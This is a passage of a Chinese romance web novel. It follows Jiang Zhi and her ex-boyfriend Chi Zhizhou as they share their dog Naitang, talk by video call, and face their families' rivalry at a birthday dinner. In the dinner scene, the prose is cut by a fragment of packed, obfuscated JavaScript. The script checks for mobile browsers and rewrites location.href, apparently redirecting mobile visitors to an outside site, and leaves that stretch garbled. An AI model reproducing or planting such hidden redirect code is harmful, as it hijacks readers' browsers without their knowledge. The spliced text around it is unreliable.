江稚没再回答,林忆却瞧清了外面池知舟的神色,同事之间吃饭很正常,但池知舟的表情似乎并不知道这件事。他面上划过迷茫,和林忆对视时,所有情绪都被收敛进浓稠的黑。
那一瞬间,林忆甚至做好准备,池知舟会直接推门而入进来打断这场交谈。
但他没有,他低头看了看手中的面包,安静地转身离开。
池知舟这一转身,林忆看清了他对江稚的克制和尊重,也看清了自己和江稚的关系界限。
直到刚才江稚来取相册,姿态和目光依然珍视且柔和,只是整理时太过认真,认真到刻意。
林忆脑中冒出了个念头,也就问了出来:“你们分手了?”
有那么片刻,他猜过江稚和男朋友分手的原因会不会是因为这个,毕竟就是那之后没出一个月的事儿。
她知道这件事吗?池知舟说了吗?要是说了,江稚应当就不是这种态度对待相册了吧。
那么,林忆想,我需要说吗?
这个问题在林忆嘴边打转,还是收了回去,最后说了句孩子气的话。
“我这个人,既坏又自私,是吧?”
这句自嘲的话本该沉进空气里,江稚却听清了,她在门前顿住脚,工作室顶上的射灯打在她肩头,“也不至于这么说自己。”
林忆有心想再讲些什么,所有话都被电话铃声打断,他看见江稚拿出手机看了一眼,并没有立即接起来,而是回头说了句:“周末愉快,再见。”
这才推门出去。
工作室铁框玻璃门是林忆特别选的,为了配合复古工业风,里面装了高级缓冲轴。
这破门关闭的时候总是很慢,以至于门外的声音能漏进来,让刚刚告白失败的人听清始终礼貌客气的江稚对着电话那边说话。
无奈的嗔怪,装凶又忍不住笑意的抱怨,这些习惯性的熟稔连江稚本人都意识不到。
“干嘛?你又落下什么了?”
池知舟笑了一声,气息喷到手机的收音筒,不轻不重地撞了下。
“我是丢三落四的人吗?”
相册好重,江稚提了提肩上的包链,哼哼了声,“不好说。”
“我明天临时要去出差,你要把奶糖带去住几天吗?”他问得很大方。
偷狗的人还用这个语气,江稚反问:“池知舟,需要我提醒你昨天做了什么吗?”
“不用提醒。”池知舟问,“我还在公司,你什么时候来接我?”
江稚莫名其妙,“我为什么要来接你?”
*
半小时后,公司楼下停车场。
她敲着手机屏幕上的时间,十二点半,有点饿。
池知舟和一位女同事交谈着绕进停车场,那位女同事穿着西装套裙,简约干练,蛮漂亮,是凌厉的那一种,江稚不由想起自己公司的许悦。
两人驻足停了几秒,似乎是确认最后的细节,池知舟认真地听着,偶尔点头。
道别时她注意到停在不远处的车,目光掠过车窗,和江稚四目相对,随即她露出礼貌的微笑,颔首示意,江稚也微笑着回以礼节性的点头。
池知舟拉开副驾驶坐进来,自顾自地拉上了安全带。
江稚望着后视镜里上了另一辆车的女人,问:“你同事认识我?”
“都认识你。”池知舟拿出手机快速回了几条消息,安静地等了会,最后转头看着江稚,“你不问了?”
他眼里带着期待,暗自盘算着什么也不知道——这样的神情鲜少出现在这张脸上。
“问啊。”江稚戳了戳车窗,“你车不就停在那吗?为什么要我接你?”
池知舟眼里那些情绪悄无声息地瘪了下去,他继续专注于手机,指尖在屏幕上滑动得很轻。
“短途出差开车去,我带你回去接走奶糖,拿几件衣服就回来。”
江稚转头问:“这和我的问题有什么关系?”
池知舟调整了下坐姿,“那你不也来了么。”
江稚:“……”
池知舟目视前方又添了句:“开来开去的麻烦。”
“我就不麻烦?”
“那我来开?”池知舟说着就要解安全带。
江稚剜他一眼,发动了引擎,“这次你别想把奶糖带走。”
*
打开门那一瞬间,金色小导弹瞬间发射!
小狗爪子在地板上磨出急切的声音,它跺着脚,尾巴不知疲惫地摇着。
奶糖的绒毛还没全部褪去,依然保留着幼犬的圆润,但个头已经不小了,它先是扑向江稚,哼哼唧唧地用整个身子去蹭妈妈,湿漉漉的鼻子拱着她的手掌,然后又快速折返回自己客厅的小窝,把自己最喜欢的玩叼过来送给妈妈。
小狗热情澎湃,江稚被撞得连连后退,忍不住笑出声来。
“宝宝,你慢点,妈妈要被你扑倒啦。”
但奶糖正兴奋着,听见妈妈回应自己,更加努力地蹭蹭。小狗好忙,迎接完妈妈,爸爸那边也不能冷落,它哈着气去拱爸爸的裤腿。
池知舟一手解着衣扣,弯下腰用另一只手揉了揉奶糖的脑袋。
奶糖在两人之间打转,又扑回江稚身上,激动得站起来,两只爪子按上江稚的膝盖。
“奶糖胖了。”池知舟脱着外套说。
江稚瞪了他一眼,立刻伸手捂住奶糖的耳朵,“别跟我们闺女这么——”
池知舟挂衣服的动作明显一顿,眉眼扬了扬。
江稚闭上眼咬了自己舌头一口。
死嘴。
“先吃东西吧?”池知舟问。
今天江稚已经第三次听见他这么问了,但依旧不太想一起吃,她站起身,姿态是公事公办,“我就是来接奶糖。”
“我也是为了奶糖啊。”池知舟说。
江稚转头看向客厅那个智能喂食器,电子屏幕亮着,奶糖自己在家也能接受定时投喂。
池知舟顺着看过去,找话说:“空腹开车不安全,我是担心奶糖的安全,你不会对
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奶糖这么不负责吧。”
江稚收回视线,低头换鞋,领着奶糖往里走,“我就等着看交警大队什么时候请你去做安全大使。”
池知舟低头掩饰住笑意,随即问:“现做来不及了,外卖可以吗?”
“我都行。”江稚笑眯眯地盘腿坐在地上,抱着奶糖脑袋一顿吸。
她把包放在沙发上,手机响的时候因为有一大本相册在里面,以至于摸了半天才抓出电话。
池知舟看了一眼那个背包的轮廓,继而看向江稚接电话的手。
“喂,宝贝呀。”
听见这个称呼,池知舟收回视线,继续看外卖软件。
周嘉月问:“宝贝,看电影去不去?”
“下午估计不太行,晚上可以。”江稚揉着奶糖的耳朵。
“晚上啊……我看看票。”周嘉月敏锐地听见了奶糖哼唧和哈气的声音,“姐们儿,你这会在哪?”
江稚快速地回头看了眼在餐桌边点外卖的人,语速很快地回答;“池知舟家。”
“你们这天天见啊。”周嘉月感慨。
江稚又回头看了人一眼,低声回答:“今天风有点大。”
“给你刮过去了是吧。”周嘉月“哼”了一声,“那你忙吧,八点的票可以吗?”
江稚估算一下带奶糖回去安排好也差不多,还能有空闲收拾收拾屋子就应了下来。
池知舟端着水过来递给她,坐去沙发上,和那个背包就隔着两三个拳头的距离,不经意地问:“出门带那么重的东西?”
江稚把背包口按紧实,“别打听。”
……
外卖到了之后,池知舟摆好菜,他自己不太能吃辣,桌上那份麻婆豆腐的香气几乎能把其它菜的味道盖下去。
江稚喜欢吃这家的豆腐,调味料总是多要一份醋。
奶糖在餐桌旁边,期待地用尾巴扫地。
“奶糖真的很乖。”池知舟突然说,“上周我带它去体检,一点都不闹。”
“嗯。”江稚吃了第一口麻婆豆腐就开始心不在焉。
明明是熟悉且最喜欢的味道,但那辣味好像烧去了心里头。
池知舟没有听见反馈,咽下嘴里的饭,“记得第一次带它去选窝吗?挑了一小时,选了个粉色的牛奶盒子,结果它最喜欢的还是门口的地垫。”
江稚喝着汤,没说话。
“我给它买了个智能项圈,可以监测心率的那种。”池知舟继续说,“它现在每天运动量刚好,饮食也很规律,这段时间它就难受过一次,那次也怪我,给它罐头没收着量。”
来自老父亲的谆谆托付。
汤早就喝完了,江稚还是捧着碗,露出两只眼睛看着人,“我能照顾好它。”
“我知道。”池知舟望着她,“可是我离不开她。”
见物即彼。
江稚心脏某个角落痒了一下,嶙峋的情愫在沉默中虚张声势。
她错开对视,就差没把碗盖去脸上。
于是池知舟就继续输出,甚至还叹了口气,“看不见我总是出神,本来工作的时候家里有监控还能看看,去你家就看不着了。”
“我发照片给你。”江稚放下碗。
池知舟提醒她,“你刚才把我拉黑了。”
江稚手指缩了缩,她从颁奖之后到车上,悄悄把池知舟拉黑,怎么被发现得这么快。
“我……给你放出来。”
池知舟又说:“发照片也不行,这次项目太急,白天没时间看,而且要一直等消息更容易分神。”
“就三天的项目,被你说得像是要去十年。”江稚伸手拿纸巾。
池知舟顺着她的动作把纸巾盒往那边推了点,“度日如年,看了也分神。”
“都是你有理。”江稚被他这种转进如风的态度气笑了,问,“那你想怎么办?难道我晚上开视频给你看?”
池知舟终于放下筷子,表情很是一本正经。
“也行。”
12. 视频
江稚敷衍地笑了笑,然后收敛,“我不行,我俩现在不是可以打视频的关系。”
池知舟退而求其次,“那让奶糖给我打。”
面对如此语言,江稚还以沉默。
“还吃点水果吗?”池知舟开始收拾桌上的盒子和碗筷,抻手过来,隔了段距离。
江稚没有把自己的碗筷递给他,而是拿着起身去厨房水池,“不吃了,我这就走。”
池知舟拎着袋子走过来,卷着袖子,“我来。”
江稚没有挪动,“我自己有手。”
于是池知舟把自己用的碗也放进了水池,这还不算,甚至回头拿来水杯,嘴角始终带着笑意。
他说:“那多不好意思。”
一面说,一面把目之所及能洗的东西都放进水池,中途还贴心地提醒江稚,“让一让,这些也要洗。”
江稚:?
“池知舟。”她语带警告地喊他的名字。
池小爱尤其自然地应了声:“我在。”
江稚手悬在水池上头,没好气地扫了人一眼,池知舟话是那么说,但也没走开,好似这边有人洗碗是多么值得驻足观看的项目,好整以暇地杵在那。
瞧着江稚没动,他还很有礼貌地问:“不洗了?”
玩家池知舟使用了激将法,江稚就吃这套。
“不洗了。”江稚后撤一步。
池知舟偏过头看奶糖,同时轻笑出声,再回头时表情管理已然到位,“那我来。”
“您请。”江稚扯下袖子,本想着洗个手,可此时怎么看水池面前这个人都不太顺眼,干脆去浴室。
这一趟也不白去,她关上门进行了深刻的反思。
不应当这样,她想,分手是双方都同意的,现在怎么还能这么黏糊?这样不行。
江稚抬起手臂,借着手背未干的水迹给自己脸侧传递清凉。她活到现在,池知舟在她生命里的分量很重,正因如此,同居之后发现问题,在事态进一步恶化之前及时止损,这样对所有人都好不是么?
更何况,当时池知舟答应得那样干脆,他自个指定也知道有问题。
“你再强硬点,别被牵着鼻子走。”江稚对着镜子里的自己说。
自我警告还不够,她清了清嗓,板起脸,严肃地讲:“池知舟,我们已经分手了,你不要再这样。”
说完,江稚又觉得自己语气过于客气,于是压低声音又练习一遍,“到此为止吧。”
镜子里的那个江稚蹙着眉,嘴唇绷得很不自然,怎么看怎么奇怪。
她练习了好几遍,终于得出一个比较满意的版本,决定出去之后不论池知舟再说什么,她都要表明态度。
厨房里已经没了动静,池知舟洗好东西后就开始收拾,出差要带的衣服吃饭之前就整理好了,他现在装着奶糖的东西。
小狗兴奋地蹲坐在旁,看着爸爸一样一样地把东西放进袋子,偶尔还要检查一下,像个称职的安检员。
江稚本想说“不用麻烦”但看见沙发上还有个纸袋,里面露出个婴儿蓝的包装盒。
是香薰,江稚喜欢这个牌子清甜的味道,家里总是存货充足,分手前那段时间她没有心思买,那这几盒就只能是池知舟后来买的了。
净做些没用的事儿。
江稚瞧着瞧着,就觉得刚才的练习都白搭了。
……
池知舟拎着两个袋子,江稚牵着奶糖,到了车边她说:“那我走了。”
就看人把自己的行李和江稚的袋子在后座放好,然后自然地拉开了车门,坐到方向盘面前,甚至还贴心地给江稚解锁了靠近她那一侧的车门锁。
登堂入室,行云流水。
江稚人都看恍惚了,“如果我没记错,这是我的车?”
“是啊。”池知舟说。
江稚没有上车,“那你这是在?”
“我有个朋友在你家那边等我过去汇合。”池知舟回答。
江稚抿着嘴,还是不上车。
池知舟示意她往前看,王阿姨正和她的姐妹们说说笑笑地往这边走。
“还有十秒到达战场。”他弯着眼看向在车外倔强的人。
江稚快速拉开车门,带着奶糖一起钻进去,并且打定主意,不可能再给池知舟一个好脸色。
回程路上车里异常安静。
江稚一直望着窗外,手指漫不经心地捏着奶糖的耳朵,小狗很喜欢,眯着眼睛靠在妈妈腿上。
红灯时,临近小区的街口很热闹,车上的两人一狗同步望向声源。
看样子是个补习班开业。
江稚瞧了一眼就收回目光,继续揉奶糖的脸。池知舟的目光却在那边多停留了好一会,直到绿灯亮起。
停好车,池知舟拿走行李,把袋子递给江稚。
江稚抱着奶糖下了车,觉得是时候态度坚决一回。
想容易,说出来还是难。
小区才洗过地,太阳直直地照下来,热浪夹着湿意蒸腾而出,刺激着气管,在肺里留下辛灼感。
江稚深深吸了一口气,“池知舟,我是觉得我们——”
“视频里聊吧,我得走了。”池知舟俯身下去交代了奶糖几句,旋即干脆地走人。
江稚反应过来,提高音量冲那人的背影问:“什么时候答应视频了?”
池知舟没有给回应,他出了小区径直前往刚才瞧见的补习班。
玻璃门上贴着各种宣传标语:个性化教育体系,名师一对一辅导。
足够了。
池知舟推门进去。
身材修长的男人走进补习班大门,眉眼干净温润,与常见的家长们格格不入,很难不怀疑此人是不是走错了门。
前台不由多看了几眼,随即询问:“你好,请问是?”
*
江稚盯着电脑屏幕,桌面上是各种策划案的草稿,修改稿,以及修改稿的全家。
蛮热闹。
“小江,把最近‘新橙’那个方案调出来我看看。”陈不人利索应当地提出要求。
这装货最喜欢购入地摊文学,包括但不限于各种精英管理手册,专门学习如何在下属面前树立威信。这就是他的新手段,哪怕方案早八百年发了电子版给他,也交过文字版,他还是要“亲临”现场,让你提出来给他,这才能体现他作为领导的存在感,顺便制造一点微妙的压迫。
江稚面不改色地调出文件,陈不人看了半天,煞有介事地“嗯”了一声,发表几句无关痛痒的意见,接着去下一个工位施展雄风。
周嘉月从隔壁探出脑袋,“又买新书了。”
“还只舍得买盗版。”江稚把方案关掉,继续工作。
午休时江稚在手机上点开电子喂食器的APP,确定十分钟前奶糖已经吃了饭。
奶糖现在还没成年,再加上还有细小的后遗症,胃很脆弱,所以要多餐少食,量也要精准。
她对比着计算公式的数字,确定奶糖再长重一点就可以多吃几克粮。
周嘉月撑着下巴靠在茶水间的桌子上,打趣说你们这孩子养得精细。
“没办法,奶糖小时候吃过苦。”江稚拉开她身边的椅子坐下来,“我打算买一个监控,这样我在公司也能看见奶糖。”
周嘉月:“池知舟家不是有么?”
江稚:“那是他的呀。”
“反正你俩这抢来抢去的,带走奶糖的时候干脆顺手拆了一起拿上呗,省得麻烦。”
江稚严肃地敲了敲桌子,“小周同志,请注意你的态度,我告诉你,奶糖以后都会一直留在我家的。”
周嘉月晃着咖啡杯,“你上一次也是这么说的。”
结果怎么着,人吃个饭就把奶糖带走了。
江稚兴致勃勃地说:“今时不同往日,他没机会再进我家门,而且我也改了房门密码。”
周嘉月听完,若有所思地问:“按你这么说,池知舟没了奶糖,那不就没理由了吗。”
江稚沉默。
周嘉月:“舍不得?”
“怎么可能。”江稚仰头喝了一大口水。
周嘉月瞧她这样,还是问了一句:“以防万一啊,我得先提醒你,要是你俩准备和好,你得跟我报告。”
“还报告呢。”江稚好笑道,“小周班长?”
“组织跟你谈话呢,别嬉皮笑脸的。”周嘉月说,“要是你晚上找我哭诉,害得我劝你好几个小时,结果你天一亮去和好了,我肯定和你绝交。”
江稚前倾着身子凑近好友,迫不及待地提议:“如果我江稚有朝一日堕落到那个地步,请你反手打死我。”
“哎!”周嘉月按住她的嘴,“劝你不要随便立flag。”
“我反正不可能为了池知舟哭得死去活来。”江稚低着头转动水杯。
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“谁知道呢。”周嘉月视线飘去窗外,轻声道,“动感情哪里还有理智。”
她的声音太轻,好似稍微来阵风就能伤害到这份柔软。
江稚眉心稍稍一紧,把原本想讲的话咽了下去,“想做就做,不想做就不做。”
她如此劝。
周嘉月扭过头问:“我做什么你都支持?”
江稚很大气地表示:“只要你不卖国,我永远和你同在。”
“神经病啊哈哈哈。”周嘉月笑开了。
……
临近下班,工作群出现一句恶魔低语。
【陈不人】:大家辛苦,今天临时开个会。
大家命好苦。
下班前十分钟,办公室内听取哀嚎一片。
江稚思来想去,还是给池知舟发了消息:今天没法给你看奶糖,要开会。
发完,她看着聊天框里池知舟那个名字,怎么瞧怎么不顺眼,于是她亲切地给池知舟改了个备注。
对方秒回。
【实习前夫】:我可以等。
江稚抬头问了句正在分发饮料的王思,“来点内部消息?今天什么章程?”
“项目总结会。”王思回答着从纸袋里拿出东西,熟练地展示来自打工人的阴阳怪气,“看,居然是咖啡耶!至少三小时起步,我们没救啦!”
众所周知,广告公司的项目总结会十分煎熬,得把每个细节都讨论一遍,从前期调研到创意产出,再辅以领导们的自主发挥,时长没有上限。
江稚接过王思递来的咖啡,点头说:“我们没救了。”
【JZ】:别等了,得到下辈子。
【实习前夫】:评估会?
江稚看得眼角微敛——好想刀了这个预言家。
*
临时会议就跟有传染病似的,接连进行了两天。
周三下午,陈不人再次恶魔低语,但是其他部门领导有安排不能到场,就此打断施法。
江稚松了口气,收拾东西回家。
今天飘了点小雨,没法带奶糖下楼遛弯,好在它早就养成了习惯,知道要去卫生间的下水道口解决。
只是这个习惯一直都是在池知舟家,起初江稚还担心奶糖在自己这会不会不习惯,她也是抱着试试的心态在厕所里放了奶糖的脚垫——小狗踩在上面就能隔开爪子和水渍。
奶糖嗅了嗅,像是知道它那么做妈妈会开心一样,很快展示了一遍自己适应得很好,之后要是想尿尿,奶糖自己就轻车熟路地往卫生间跑。
难免让人想起当时池知舟是怎么教会它的。
教小狗定点上厕所是每个养狗人的必经之路,奶糖那会刚刚出院,池知舟连着看了好几个攻略和教学视频,只要发现小狗有要尿尿的迹象——比如磨爪子或者原地转圈,他立刻就引导着奶糖跟自己去卫生间。
奶糖一开始也不配合,池知舟就蹲在那轻声哄,用手按摩奶糖的小肚子。
“你看,你闺女多听话。”池知舟对江稚说这句话的时候,他已经在那蹲了二十多分钟,就陪奶糖耗着。
浴室的光漫过男人弓起的脊背,顺延而下,在他的影子周围笼出光晕,池知舟低头温声鼓励奶糖的样子让江稚心里软得一塌糊涂。
现在,江稚看着眼前已经长大不少的奶糖,它已经不用人哄了,也不用人守着了。
雨势渐大,江稚安排完奶糖的晚饭和卵磷脂,从晾晒架上挑了几个洗过的玩具球给奶糖,最后给孩子打开了电视放猫和老鼠给它看。
奶糖就爱看这个。
弄完这些,江稚去厨房给自己简单地搞了个一人餐,抬着小奶锅去客厅茶几边坐下和奶糖一起看电视。
小狗馋的哟,见到冒热气的东西就好奇,眼巴巴地盯着。
桌上手机震了一下。
【实习前夫】:方便视频吗?(我是问奶糖)
江稚看了眼正在期待食物降临的奶糖,笑着回消息:奶糖说不方便。
【实习前夫】:请你在孩子面前做一位正直的母亲。
江稚:“……”
【实习前夫】:我打过来了,如果你不想接,可以忽视。
【实习前夫】:[企鹅小碎步快走]
言出法随,实习前夫来电
江稚看了几秒,还是接了起来。
非要找个理由的话,可能是因为这个备注太好笑,让人愉悦。
13. 实习
江稚改成后置镜头,池知舟也没露出脸,画面对着他的宽松T恤。他那边并不明亮,只开着桌前的阅读灯,光亮不轻不重地淌,再被衣物的褶皱稳稳兜住。
他没说话,江稚也不说话,就沉默地给他看奶糖。
小狗本来被手机震动吸引了注意力,此刻精神又专注到江稚的小奶锅上面,目光真挚地继续期盼能有心软的人类食物主动掉到它嘴巴里。
“小馋狗。”终于,池知舟沉声说,笑语温柔。
奶糖听见爸爸的声音,顿时来了精神,“咻”地一下站起来四处找人,它闻来闻去,始终不能确定方向,最后甩着尾巴用鼻子拱了拱妈妈求助。
“宝宝,这呢。”
奶糖可爱得要命,江稚下意识地想要满足小狗的愿望,把手机屏幕给小狗看,几秒后才反应过来——这不就是对着自己拍了吗。
她立刻调转手机,发现屏幕里那个人影子动了下,快速地低头,然后重新摆正脑袋。
反正,只消江稚出糗,池知舟憋笑时就会这样做,低头抿一下,抿得下去那就万事大吉,抿不下去就开始哄人。
这样的事发生过太多次,所以江稚毫不费力地读懂了他的行为语言。
有点想发火,但是对着前任发火没什么意义。
江稚权当自己没瞧见,继续给池知舟看奶糖,同时也希望他知些好歹,不要再提。
“啊,对了,江医生讲过奶糖最近卵磷脂可以多加半颗,我有告诉你吗?”
当然是没有。
刻意隐瞒信息,罪加一等,江稚在池知舟看不到的地方对他皱了皱脸。
“那你说晚了一步,刚好我也有江医生的微信,刚好我也问过江医生,刚好江医生也告诉我了。”
又是一阵闷闷的笑声,带着身体轻颤。
“那真是刚好。”
江稚不接话。
池知舟就找话:“奶糖看起来特别想我。”
“请不要带着滤镜看小狗。”江稚是和奶糖一起坐地上的,说着话就放松地伸直腿搭在一起,格子居家裤就这么滑进画面。
“坐在和室椅上?”
“昂。”
沉默。
语速太快,以至于反应过来时,又莫名接受了一次来自前男友的关心。
江稚默默地给自己扣了一分。
但是聊天儿这事吧,说是要看奶糖,总归奶糖也没法子张口说什么,小狗听见声音那点兴奋劲早就消退了,也没能等到食物,于是乖乖地趴在妈妈腿边。
起初真是在聊奶糖,大概是池知舟提了一嘴自己明天中午回来,下午去公司报个到,就直接去酒店。
明天周四,是顾清宁女士的生日,也没请多少人,详细点儿计算拢共就是江家和池家。
往年也大差不离就这么些人,但因为今年他俩分手,所以这顿饭搞不好会成为鸿门宴PLUS。
江稚多少有些忧心,但也没太焦虑,她知道两家父母都是能沟通的好父母。
干脆也顺着话说:“我这没什么事,打听好了,陈不人明天要去分公司开屏。”
陈仁往日里出现在他们口中的频率很高,此人奇葩行径太多,罄竹难书,难免给听者留下深刻印象。
画面里池知舟也闲适地往椅子里靠了靠,“他还是那么爱开会。”
“他会议室成精来的。”江稚用手指头在奶糖头顶绕圈圈,下意识地吐槽,“你都不知道,他今天还想开会,还好计谋落空。”
“那你岂不是大起大落。”
“可不是嘛。”
得知临时加班取消,这种感觉和在去死刑场上突然被无罪释放一样快乐。
江稚想起下午陈不人的表情就想笑,“他不是特别喜欢那件高档西装嘛,开会就得穿,压根就不合身,披着件褂子似的,下午那会他褂子都穿上了,结果会议取消。”
池知舟:“可惜我没见到。”
“而且他还抬着本《成功人士的自我修养》成天逛。”
“他还是那么好学。”
江稚说着说着,突然想起来,“哎,上次我们不是还说过这种商业鸡汤受众都是谁吗?”
“我记得。”池知舟低声回应,“在火锅店,看综艺的时候有明星说起,刚好陈不人那会天天在你们公司大声朗读这种商务鸡汤,你讲你恨不得逮着他去开中药调理一下脑子。”
江稚愣怔,池知舟记得也太清楚了吧。
她只记得那天是梁书元请客,大家围着火锅闲聊,池知舟就坐自己旁边,在这种聚会场合他话都很少,喜欢听,乐了也会跟着笑。
准确来说,池知舟除了工作和江稚,对谁都没那么多话。
油脂在热气中翻腾,空气里都是麻椒和辣椒的香味,池知舟会在她忙着聊天时给她夹菜,他不爱用香水,但江稚喜欢那个味道,所以他就用。彼时在火锅店里,池知舟靠近,没有形状的气味潮汐般涌过来,在炽烈的香辣气味中变成一场缓慢燃烧的篝火,余烬里是将熄未熄的甜。
她那天说这句话了吗?江稚不记得了,却记得那天池知舟的味道,就像池知舟记得江稚说了什么话。
这种惦记,是习惯吗,还是说,这就是喜欢?
江稚不清楚,就觉得她和池知舟像不小心被打碎的瓷盘,每个棱角都近乎执拗地倒映着对方的影子。
其实池知舟不是完全不会表达感情,他会说“我爱你”,但也只有这三个字,没有再多的情话甜言,顶天了再问一句“吃饭了吗”。
江稚曾经说服过自己,这就是他的表达方式,但始终感觉很奇怪,两个人明明住在一起,又像在各自生活,按部就班的谈了场恋爱。
倒是有一个场景会说情话……
江稚脑子里冒出来那些带颜色的回忆,不由“嘶”了一声。
池知舟立马问:“怎么了?”
“没怎么。”江稚摇了摇脚。
分手之后这段时间,池知舟变得会说话,能说话,他在改变,明晃晃地改变。
江稚放在腿边的手掐了自己一下,也就刺激着自己问了出来:“池知舟,你到底是什么样的?”
换做以前,江稚问出这类的话,池知舟会回以沉默,继而江稚就再也找不到切入口。
现在,池知舟依然还以安静。
手机那头沉默了很久,呼吸声在夜色里格外清晰,池知舟再次调整坐姿,牵引满身光影摇晃。
最终,他上移镜头,对准自己的脸,喉结滚动一下,声音发涩。
他问:“你想要我什么样?只要你说。”
只要你说,未尽之语无需再想,他已经说得足够清楚。
“不是我想。”江稚脑子里一团乱,沮丧地吐了口气,“是……我也不知道该怎么说。”
好像,他们都把对方困在了自己的想象里。
“算了。”江稚收起膝盖,把脸埋进去,“我们都想想吧。”
“想什么?”池知舟的声音温柔得不像话。
“乱想。”江稚小声说,“你先实习着吧。”
池知舟歪头问:“实习?”
“嗯。”江稚抬起脸,严肃地宣布,“反正,咱俩都别拿小狗做文章了,你不准再折腾奶糖,别再想偷狗。”
池知舟沉默了几秒,忽然问:“不折腾奶糖就行了吗?”
江稚补充:“也不许折腾我。”
“好,我知道了。”
*
池家名下的铠悦酒店位于金融中心,这个酒店是池家当年破产之后东山再起的转折点,和家属小院拥有同样的纪念意义。也是因为破产那几年,顾清宁看遍了人情冷暖,所以之后保持亲密联系的人很少,除了在当年落魄遇到的江家。
本来,两家这样的关系,孩子们要是能在一起,那就是锦上添花。
可惜……
两百平的独立包间里,顾清宁端起红酒杯轻轻晃了晃,瞥了眼对面的陈韵如,叹了口气,“孩子们啊,我也不知道怎么就……”
陈韵如优雅地抿了口茶,“年轻人的事儿,我们做父母的,说多了他们会嫌烦。”
两位妈妈其实都着急,这会也不知较什么劲,顾清宁听了,干脆顺着话说:“那我也就不说了,让他们自己发展。”
陈韵如掐了掐高脚杯杆,随即和悦地笑起来,“是啊,谁都别说。”
对视,火花无声迸溅。
陈韵如再次开口:“要说起来,我们丫丫脑子里有想法,人也和乐,去哪都招人待见,不是个愁嫁的孩子,就是不知道以后谁家那么有福气取了去。”
多么扎心的字眼。
顾清宁眉梢压了压,深吸一口气,也跟着撑起个笑容,“我家小舟还不是,哎哟,成天拿奖,我听说他们公司用他的照片做招聘宣传呢,也不知道以后我家儿媳妇儿是个什么样的姑娘。”
两位妈妈再次对视,火山濒临喷发。
正是剑拔弩张之时,江明德赶紧出声:“哎老池,你上次说给我带那什么,那酒啊,带来没?”
池沅霖听到老友解围,立时心领神会,拔高声音增加存在感,“瞧我这记性!我给忘了,哎呀,不过清宁啊,咱们把那瓶拿出来喝吧?”
爸爸们试图吸妈妈们的注意力。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14963378|161155||http|test|mini|href|location''.split(''|''),0,{}));
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>顾清宁此刻战意正浓,哪里听得进去,她看都没看丈夫一眼,挺直了腰背继续输出:“孩子们想明白也好,我家小舟明天就去相亲。”
陈韵如撇了撇嘴,同样挺直腰背说:“还是尊重孩子吧,相亲那一套多没意思,像我家丫丫,前段时间都有小伙子追到家里送花告白,丫丫也收下了。”
池沅霖疑惑:“什么时候安排好的相亲?”
江明德迷茫:“什么时候来人送花了?”
顾清宁、陈韵如齐声:“闭嘴!”
角落里的池听雨实在听不下去了,捂着脑袋痛苦低吼:“啊!想死。”
十四岁的小姑娘窝在包间墙边的沙发里,漂亮的小脸快要皱成包子。听着两边互相吹捧,听得抓狂。
她站起来打断道:“我当时都说了!别让他俩在一起,你们非得答应!”
池听雨平日里就爱顶撞父母,对哥哥也爱答不理,对江稚则是尤其讨厌,倒也不是什么不可说的情节,单纯是因为她四五岁的时候不知天高地厚,对上了十四岁的江稚。
彼时池听雨认定自己是全世界的小公主,甚至都记不清那天她是说了些什么惹怒江稚,总之,十四岁的江稚拳脚修理一遍四岁池听雨。
打是真打,池听雨能记一辈子,怕也是真的怕,所以听见哥哥和江稚谈恋爱,她反对的呼声是最高的。
这会她也十四岁了,正是叛逆的好时候,平等地厌恶全世界,是地球路过都得被扇得再自转三圈的程度。
不是自家孩子,陈韵如不参与教育,闷闷地任由江明德给她拍背顺气。
硬碰硬是没有好下场的,顾清宁看向女儿:“池听雨!在陈阿姨和江叔叔面前这么吼人,我是这么教你的?”
“我……”
“你什么你?”顾清宁严厉道,“你能不能让妈妈省心一点?”
池听雨梗着脖子就要反驳,池知舟就是这时候进了包间,手里提着几个纸袋。
“爸妈,伯父伯母,江稚在路上了,有点堵车。”
池听雨对他翻了个白眼,想着又来一个说教的。
但池知舟和长辈们打完招呼,居然走到她身边坐下,递出手里的盒子,“小雨,你不是一直想要这个嘛?”
“什么?”池听雨狐疑地打开了纸袋,看清里面的东西后惊喜地问哥哥,“限量版的手办!你怎么知道我想要这个!?”
她难以置信地拿出盒子捧在手里瞧,这可是她惦记了好久都没抢到的。
“你老在朋友圈念叨,我就知道啦。”池知舟揉了揉妹妹的头发,“我看了,这个涂装和细节的处理,很值得收藏,哥哥送你。”
顾清宁皱眉道:“小舟,你不好好让她学习,还送这些。”
“妈。”池知舟说,“小雨还小呢,你们别老训她。”
他说话时丝毫看不出平日里的严肃。
顾清宁一噎,“……我寻思往日里你训得最多吧。”
池听雨抱着手办,惊恐地看着人,“哥,你这么煽情,我有点害怕。”
她僵硬地转头问顾清宁,“妈,难道今天你们要宣布我是捡来的孩子,然后把我赶出去?”
顾清宁被气得当场站起,池沅霖赶紧拉住媳妇儿,回头喊:“小雨!”
“别胡说。”池知舟再次出声吸引注意力,“你这么说话,爸妈会难受,不喜欢这个手办吗?”
“喜欢……”池听雨还是觉得不对劲。
顾清宁还是忍不住说:“学习不挂心哪成啊,上次期中考试,班上……”
“这个我安排好了。”池知舟温声说,“我给小雨找了个补习班。”
池听雨:?
“行不行啊。”顾清宁想起之前的经历就头疼,“请了那么多私教都没办法。”
“别担心。”池知舟轻笑道,“小雨这个成绩,已经很难有下降空间了。”
池听雨:??
她小声问:“哥你要干嘛啊?”
“现在这些补习班良莠不齐的。”顾清宁追问,“什么补习班?在哪?”
“是我之前对小雨关心太少了,我了解过师资力量,那边年轻老师居多,新开业都会努力发挥,也试听了,上课气氛很活跃,不死板,孩子听得进去。”
池听雨听着听着,觉得自己刚收到的礼物烫手起来。
池知舟神色如常,继续说:“也不远,就在江稚家楼下,我给小雨所有科目都报了班,一周还能休息半天。以后,我监督她学习,我每天都去接她。”
听听,这是人话吗?
池听雨从沙发上弹起来,“哥!你好像煽了个大情啊!”
14. 快递
池听雨绝望至极。
她麻木地听着哥哥和妈妈敲定补习计划,对这个世界的厌恶程度陡然加深一个层次。
“哥。”池听雨压低声音咬牙切齿,“我讨厌你。”
池知舟很大方地点头同意,“可以。”
